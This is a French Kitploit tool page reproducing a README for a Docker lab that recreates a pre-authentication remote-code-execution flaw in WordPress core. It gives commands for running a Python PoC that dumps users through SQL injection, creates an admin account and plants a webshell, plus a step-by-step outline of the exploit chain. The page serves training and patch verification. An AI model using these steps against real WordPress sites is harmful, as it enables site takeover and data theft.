Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-60137-and-CVE-2026-63030 — Lab WordPress basé sur Docker reproduisant les CVE-2026-60137 et CVE-2026-63030 (RCE pré-authentification), avec un PoC d'exploitation en Python pour l'injection SQL, l'élévation de privilèges et le déploiement d'un webshell. | Kitploit
Outils/GitHubGitHub/ivanesk315/cve-2026-60137-and-cve-2026-63030
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubivanesk315/cve-2026-60137-and-cve-2026-63030

CVE-2026-60137-and-CVE-2026-63030

Lab WordPress basé sur Docker reproduisant les CVE-2026-60137 et CVE-2026-63030 (RCE pré-authentification), avec un PoC d'exploitation en Python pour l'injection SQL, l'élévation de privilèges et le déploiement d'un webshell.

Voir le dépôt
il y a 18h 32mPas encore vérifié

wp2shell Lab — CVE-2026-60137 & CVE-2026-63030

Lab RCE pré-authentification du cœur de WordPress — exploitation réelle, RCE serveur.

AVERTISSEMENT : Le lab exécute une version VULNÉRABLE de WordPress. Ne pas l'exposer sur Internet.

Structure

root@kitploit:~
.
├── docker-compose.yml     # Lab: WordPress 6.9.4 + MariaDB 11 + phpMyAdmin
├── exploit/               # PoC exploit (clone từ GitHub)
│   └── wp2shell.py        # Full RCE exploit
├── REPORT.md              # Báo cáo phân tích root cause
└── README.md

Installation

1. Démarrer le lab

root@kitploit:~
docker compose up -d

Attendre l'apparition de LAB READY dans les logs :

root@kitploit:~
docker compose logs -f wpcli

2. Cloner le PoC exploit

root@kitploit:~
git clone https://github.com/0xsha/wp2shell.git exploit

Cet exploit :

  • Python 3.7+, aucun pip install requis (utilise uniquement la stdlib)
  • Crée un nouveau compte admin SANS avoir besoin de casser le mot de passe
  • Déploie automatiquement un webshell
  • Shell interactif

3. Exploitation

root@kitploit:~
cd exploit

# Check vulnerability (non-destructive)
python wp2shell.py check http://localhost:8080

# Extract data qua blind SQLi
python wp2shell.py read http://localhost:8080 --preset users

# RCE — tạo admin + deploy webshell + chạy command
python wp2shell.py shell http://localhost:8080 --cmd id

# Interactive shell
python wp2shell.py shell http://localhost:8080 -i

Services

Résumé du flux d'exploitation

root@kitploit:~
1. POST /wp-json/batch/v1
   └─ Sub-request[0]: malformed path → parse error
   └─ Sub-request[1]: /wp/v2/posts + author_exclude=<SQLi>
   └─ Sub-request[2]: sacrificial route
   → $matches[] bị lệch index → req[1] nhận handler của req[2]
   → bypass permission_callback → SQLi vào WP_Query

2. SQL Injection (author__not_in)
   → Scalar string bypass is_array() check
   → Raw SQL inject vào WHERE clause

3. Object Hydration → oEmbed Write → Parent Loop Repair
   → Poisoned WP_Post objects persist vào database

4. Changeset Privilege Escalation
   → WordPress switch current_user sang admin

5. Nested REST Request
   → Tạo admin account mới (không cần crack password)

6. Login + Upload webshell plugin → RCE

Vérifier le correctif

root@kitploit:~
# Update WordPress trong container
docker exec -it wp2shell-lab-wp-1 bash -c \
  "curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && \
   chmod +x wp-cli.phar && \
   ./wp-cli.phar core update --version=6.9.5 --allow-root"

# Re-run exploit — phải fail
python exploit/wp2shell.py check http://localhost:8080

Nettoyage

root@kitploit:~
docker compose down -v

Références

  • 0xsha/wp2shell — GitHub
  • Picus: wp2shell RCE Explained
  • zsec.uk: Code Trace Deep Dive
  • VulnCheck Blog
  • Tenable FAQ
Télécharger l’outil
ServiceURLCredentials
WordPresshttp://localhost:8080admin / Admin!2345
WP Adminhttp://localhost:8080/wp-adminadmin / Admin!2345
phpMyAdminhttp://localhost:8081root / root
REST APIhttp://localhost:8080/wp-json/—
Batch endpointhttp://localhost:8080/wp-json/batch/v1—